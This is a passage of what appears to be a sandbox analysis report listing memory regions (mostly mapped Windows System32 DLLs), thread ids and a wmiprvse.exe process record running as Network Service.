	              id = 1296
	        start_va = 0x7fefcd20000
	          end_va = 0x7fefcd31fff
	     entry_point = 0x7fefcd20000
	     region_type = mapped_file
	            name = "devrtl.dll"
	        filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll")

Region:
	              id = 1297
	        start_va = 0x7fefcd40000
	          end_va = 0x7fefcd5efff
	     entry_point = 0x7fefcd40000
	     region_type = mapped_file
	            name = "spinf.dll"
	        filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll")

Region:
	              id = 1298
	        start_va = 0x7fefcdd0000
	          end_va = 0x7fefce08fff
	     entry_point = 0x7fefcdd0000
	     region_type = mapped_file
	            name = "ubpm.dll"
	        filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll")

Region:
	              id = 1299
	        start_va = 0x7fefce10000
	          end_va = 0x7fefce19fff
	     entry_point = 0x7fefce10000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 1300
	        start_va = 0x7fefcf40000
	          end_va = 0x7fefcf86fff
	     entry_point = 0x7fefcf40000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1301
	        start_va = 0x7fefd030000
	          end_va = 0x7fefd05ffff
	     entry_point = 0x7fefd030000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 1302
	        start_va = 0x7fefd060000
	          end_va = 0x7fefd0bafff
	     entry_point = 0x7fefd060000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 1303
	        start_va = 0x7fefd1d0000
	          end_va = 0x7fefd1d6fff
	     entry_point = 0x7fefd1d0000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 1304
	        start_va = 0x7fefd1e0000
	          end_va = 0x7fefd234fff
	     entry_point = 0x7fefd1e0000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1305
	        start_va = 0x7fefd240000
	          end_va = 0x7fefd256fff
	     entry_point = 0x7fefd240000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1306
	        start_va = 0x7fefd350000
	          end_va = 0x7fefd381fff
	     entry_point = 0x7fefd350000
	     region_type = mapped_file
	            name = "netjoin.dll"
	        filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll")

Region:
	              id = 1307
	        start_va = 0x7fefd390000
	          end_va = 0x7fefd397fff
	     entry_point = 0x7fefd390000
	     region_type = mapped_file
	            name = "wmsgapi.dll"
	        filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll")

Region:
	              id = 1308
	        start_va = 0x7fefd3a0000
	          end_va = 0x7fefd3a9fff
	     entry_point = 0x7fefd3a0000
	     region_type = mapped_file
	            name = "sysntfy.dll"
	        filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll")

Region:
	              id = 1309
	        start_va = 0x7fefd430000
	          end_va = 0x7fefd45efff
	     entry_point = 0x7fefd430000
	     region_type = mapped_file
	            name = "authz.dll"
	        filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")

Region:
	              id = 1310
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd4dcfff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 1311
	        start_va = 0x7fefd4e0000
	          end_va = 0x7fefd4f3fff
	     entry_point = 0x7fefd4e0000
	     region_type = mapped_file
	            name = "cryptdll.dll"
	        filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll")

Region:
	              id = 1312
	        start_va = 0x7fefd500000
	          end_va = 0x7fefd522fff
	     entry_point = 0x7fefd500000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1313
	        start_va = 0x7fefd660000
	          end_va = 0x7fefd66afff
	     entry_point = 0x7fefd660000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 1314
	        start_va = 0x7fefd810000
	          end_va = 0x7fefd834fff
	     entry_point = 0x7fefd810000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1315
	        start_va = 0x7fefd840000
	          end_va = 0x7fefd84efff
	     entry_point = 0x7fefd840000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1316
	        start_va = 0x7fefd850000
	          end_va = 0x7fefd8e0fff
	     entry_point = 0x7fefd850000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 1317
	        start_va = 0x7fefd8f0000
	          end_va = 0x7fefd92cfff
	     entry_point = 0x7fefd8f0000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1318
	        start_va = 0x7fefd930000
	          end_va = 0x7fefd943fff
	     entry_point = 0x7fefd930000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 1319
	        start_va = 0x7fefd950000
	          end_va = 0x7fefd95efff
	     entry_point = 0x7fefd950000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1320
	        start_va = 0x7fefd9f0000
	          end_va = 0x7fefd9fefff
	     entry_point = 0x7fefd9f0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1321
	        start_va = 0x7fefda00000
	          end_va = 0x7fefda6afff
	     entry_point = 0x7fefda00000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1322
	        start_va = 0x7fefda70000
	          end_va = 0x7fefda89fff
	     entry_point = 0x7fefda70000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1323
	        start_va = 0x7fefda90000
	          end_va = 0x7fefdac9fff
	     entry_point = 0x7fefda90000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 1324
	        start_va = 0x7fefdad0000
	          end_va = 0x7fefdc36fff
	     entry_point = 0x7fefdad0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1325
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1326
	        start_va = 0x7fefdd20000
	          end_va = 0x7fefdd86fff
	     entry_point = 0x7fefdd20000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1327
	        start_va = 0x7fefdd90000
	          end_va = 0x7fefdd97fff
	     entry_point = 0x7fefdd90000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1328
	        start_va = 0x7fefdda0000
	          end_va = 0x7fefde76fff
	     entry_point = 0x7fefdda0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1329
	        start_va = 0x7fefde80000
	          end_va = 0x7fefdf1efff
	     entry_point = 0x7fefde80000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1330
	        start_va = 0x7fefdf20000
	          end_va = 0x7fefdf90fff
	     entry_point = 0x7fefdf20000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1331
	        start_va = 0x7fefe040000
	          end_va = 0x7fefe242fff
	     entry_point = 0x7fefe040000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1332
	        start_va = 0x7fefe250000
	          end_va = 0x7fefe426fff
	     entry_point = 0x7fefe250000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 1333
	        start_va = 0x7fefe4b0000
	          end_va = 0x7fefe58afff
	     entry_point = 0x7fefe4b0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1334
	        start_va = 0x7fefe920000
	          end_va = 0x7fefe9b8fff
	     entry_point = 0x7fefe920000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1335
	        start_va = 0x7fefe9c0000
	          end_va = 0x7feff747fff
	     entry_point = 0x7fefe9c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 1336
	        start_va = 0x7feff750000
	          end_va = 0x7feff76efff
	     entry_point = 0x7feff750000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1337
	        start_va = 0x7feff770000
	          end_va = 0x7feff838fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1338
	        start_va = 0x7feff840000
	          end_va = 0x7feff891fff
	     entry_point = 0x7feff840000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 1339
	        start_va = 0x7feffa40000
	          end_va = 0x7feffb6cfff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1340
	        start_va = 0x7feffb70000
	          end_va = 0x7feffc78fff
	     entry_point = 0x7feffb70000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1341
	        start_va = 0x7feffc80000
	          end_va = 0x7feffcccfff
	     entry_point = 0x7feffc80000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1342
	        start_va = 0x7feffcd0000
	          end_va = 0x7feffcfdfff
	     entry_point = 0x7feffcd0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1343
	        start_va = 0x7feffd00000
	          end_va = 0x7feffd0dfff
	     entry_point = 0x7feffd00000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1344
	        start_va = 0x7feffd20000
	          end_va = 0x7feffd20fff
	     entry_point = 0x7feffd20000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1345
	        start_va = 0x7fffff52000
	          end_va = 0x7fffff53fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff52000"
	        filename = ""

Region:
	              id = 1346
	        start_va = 0x7fffff54000
	          end_va = 0x7fffff55fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff54000"
	        filename = ""

Region:
	              id = 1347
	        start_va = 0x7fffff56000
	          end_va = 0x7fffff57fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff56000"
	        filename = ""

Region:
	              id = 1348
	        start_va = 0x7fffff58000
	          end_va = 0x7fffff59fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff58000"
	        filename = ""

Region:
	              id = 1349
	        start_va = 0x7fffff6a000
	          end_va = 0x7fffff6bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6a000"
	        filename = ""

Region:
	              id = 1350
	        start_va = 0x7fffff6c000
	          end_va = 0x7fffff6dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6c000"
	        filename = ""

Region:
	              id = 1351
	        start_va = 0x7fffff70000
	          end_va = 0x7fffff71fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff70000"
	        filename = ""

Region:
	              id = 1352
	        start_va = 0x7fffff72000
	          end_va = 0x7fffff73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff72000"
	        filename = ""

Region:
	              id = 1353
	        start_va = 0x7fffff84000
	          end_va = 0x7fffff85fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff84000"
	        filename = ""

Region:
	              id = 1354
	        start_va = 0x7fffff88000
	          end_va = 0x7fffff89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff88000"
	        filename = ""

Region:
	              id = 1355
	        start_va = 0x7fffff8c000
	          end_va = 0x7fffff8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8c000"
	        filename = ""

Region:
	              id = 1356
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 1357
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 1358
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 1359
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 1360
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 1361
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 1362
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 1363
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 1364
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 1365
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 1366
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 1367
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 1368
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 1369
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 1370
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1371
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1372
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 1373
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 1374
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 1375
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 1376
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 1377
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1533
	        start_va = 0x3a80000
	          end_va = 0x3afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a80000"
	        filename = ""

Region:
	              id = 1534
	        start_va = 0x7fef4730000
	          end_va = 0x7fef4903fff
	     entry_point = 0x7fef4730000
	     region_type = mapped_file
	            name = "msxml3.dll"
	        filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll")

Region:
	              id = 1535
	        start_va = 0x7fffff86000
	          end_va = 0x7fffff87fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff86000"
	        filename = ""

Region:
	              id = 1536
	        start_va = 0x1710000
	          end_va = 0x1710fff
	     entry_point = 0x1710000
	     region_type = mapped_file
	            name = "msxml3r.dll"
	        filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll")

Region:
	              id = 1537
	        start_va = 0x1720000
	          end_va = 0x173ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001720000"
	        filename = ""

Region:
	              id = 1538
	        start_va = 0x17b0000
	          end_va = 0x182ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017b0000"
	        filename = ""

Region:
	              id = 1539
	        start_va = 0x39b0000
	          end_va = 0x3a2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000039b0000"
	        filename = ""

Region:
	              id = 1540
	        start_va = 0x16010000
	          end_va = 0x1608ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000016010000"
	        filename = ""

Region:
	              id = 1541
	        start_va = 0x16090000
	          end_va = 0x1648ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000016090000"
	        filename = ""

Region:
	              id = 1542
	        start_va = 0x7fef8db0000
	          end_va = 0x7fef8e2bfff
	     entry_point = 0x7fef8db0000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 1599
	        start_va = 0x1740000
	          end_va = 0x1742fff
	     entry_point = 0x1740000
	     region_type = mapped_file
	            name = "wuaueng.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui")

Region:
	              id = 1600
	        start_va = 0x1750000
	          end_va = 0x1750fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001750000"
	        filename = ""

Region:
	              id = 1601
	        start_va = 0x1ef0000
	          end_va = 0x1f6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ef0000"
	        filename = ""

Region:
	              id = 1602
	        start_va = 0x2bd0000
	          end_va = 0x2c4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002bd0000"
	        filename = ""

Region:
	              id = 1603
	        start_va = 0x3730000
	          end_va = 0x37affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003730000"
	        filename = ""

Region:
	              id = 1604
	        start_va = 0x3920000
	          end_va = 0x399ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003920000"
	        filename = ""

Region:
	              id = 1605
	        start_va = 0x3b30000
	          end_va = 0x3baffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b30000"
	        filename = ""

Region:
	              id = 1606
	        start_va = 0x3c90000
	          end_va = 0x3d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c90000"
	        filename = ""

Region:
	              id = 1607
	        start_va = 0x4030000
	          end_va = 0x40affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004030000"
	        filename = ""

Region:
	              id = 1608
	        start_va = 0x16490000
	          end_va = 0x1668ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000016490000"
	        filename = ""

Region:
	              id = 1609
	        start_va = 0x7fef9740000
	          end_va = 0x7fef9754fff
	     entry_point = 0x7fef9740000
	     region_type = mapped_file
	            name = "aelupsvc.dll"
	        filename = "\\Windows\\System32\\aelupsvc.dll" (normalized: "c:\\windows\\system32\\aelupsvc.dll")

Region:
	              id = 1610
	        start_va = 0x7fffff80000
	          end_va = 0x7fffff81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff80000"
	        filename = ""

Region:
	              id = 1611
	        start_va = 0x7fffff82000
	          end_va = 0x7fffff83fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff82000"
	        filename = ""

Region:
	              id = 1612
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 1613
	        start_va = 0x7fffff94000
	          end_va = 0x7fffff95fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff94000"
	        filename = ""

Region:
	              id = 1614
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 1615
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 1616
	        start_va = 0x27c0000
	          end_va = 0x283ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000027c0000"
	        filename = ""

Region:
	              id = 1617
	        start_va = 0x3f90000
	          end_va = 0x400ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f90000"
	        filename = ""

Region:
	              id = 1618
	        start_va = 0x4180000
	          end_va = 0x41fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004180000"
	        filename = ""

Region:
	              id = 1619
	        start_va = 0x15ee0000
	          end_va = 0x15f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000015ee0000"
	        filename = ""

Region:
	              id = 1620
	        start_va = 0x16690000
	          end_va = 0x1678ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000016690000"
	        filename = ""

Region:
	              id = 1621
	        start_va = 0x16810000
	          end_va = 0x1681ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000016810000"
	        filename = ""

Region:
	              id = 1622
	        start_va = 0x7fef6fc0000
	          end_va = 0x7fef6ffefff
	     entry_point = 0x7fef6fc0000
	     region_type = mapped_file
	            name = "cscobj.dll"
	        filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll")

Region:
	              id = 1623
	        start_va = 0x7fffff7c000
	          end_va = 0x7fffff7dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7c000"
	        filename = ""

Region:
	              id = 1624
	        start_va = 0x7fffff7e000
	          end_va = 0x7fffff7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7e000"
	        filename = ""


Thread:
	id = 57
	os_tid = 0x9b8


Thread:
	id = 58
	os_tid = 0x99c


Thread:
	id = 59
	os_tid = 0x918


Thread:
	id = 60
	os_tid = 0x85c


Thread:
	id = 61
	os_tid = 0x858


Thread:
	id = 62
	os_tid = 0x854


Thread:
	id = 63
	os_tid = 0x850


Thread:
	id = 64
	os_tid = 0x4a4


Thread:
	id = 65
	os_tid = 0x41c


Thread:
	id = 66
	os_tid = 0x7c4


Thread:
	id = 67
	os_tid = 0x6d0


Thread:
	id = 68
	os_tid = 0x6c4


Thread:
	id = 69
	os_tid = 0x6c0


Thread:
	id = 70
	os_tid = 0x664


Thread:
	id = 71
	os_tid = 0x628


Thread:
	id = 72
	os_tid = 0x5e4


Thread:
	id = 73
	os_tid = 0x5b8


Thread:
	id = 74
	os_tid = 0x418


Thread:
	id = 75
	os_tid = 0x35c


Thread:
	id = 76
	os_tid = 0x344


Thread:
	id = 77
	os_tid = 0x210


Thread:
	id = 78
	os_tid = 0x1d8


Thread:
	id = 79
	os_tid = 0x1bc


Thread:
	id = 80
	os_tid = 0x3b8


Thread:
	id = 81
	os_tid = 0x390


Thread:
	id = 82
	os_tid = 0x38c


Thread:
	id = 83
	os_tid = 0x340


Thread:
	id = 84
	os_tid = 0x33c


Thread:
	id = 85
	os_tid = 0x334


Thread:
	id = 86
	os_tid = 0x330


Thread:
	id = 87
	os_tid = 0x32c


Thread:
	id = 88
	os_tid = 0xa40


Thread:
	id = 89
	os_tid = 0xa44


Thread:
	id = 90
	os_tid = 0xa48


Thread:
	id = 91
	os_tid = 0xa4c


Thread:
	id = 99
	os_tid = 0xa78


Thread:
	id = 107
	os_tid = 0xb20


Thread:
	id = 108
	os_tid = 0xb24


Thread:
	id = 109
	os_tid = 0xb28


Thread:
	id = 110
	os_tid = 0xb2c


Thread:
	id = 112
	os_tid = 0xb58


Thread:
	id = 113
	os_tid = 0xb90


Thread:
	id = 114
	os_tid = 0xb9c


Thread:
	id = 115
	os_tid = 0xba0


Thread:
	id = 116
	os_tid = 0xbd0


Thread:
	id = 117
	os_tid = 0xbe0


Thread:
	id = 137
	os_tid = 0x8b8


Thread:
	id = 138
	os_tid = 0x824


Thread:
	id = 141
	os_tid = 0x358


Process:
	id = "6"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x2db61000"
	os_pid = "0xa54"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "5"
	os_parent_pid = "0x328"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
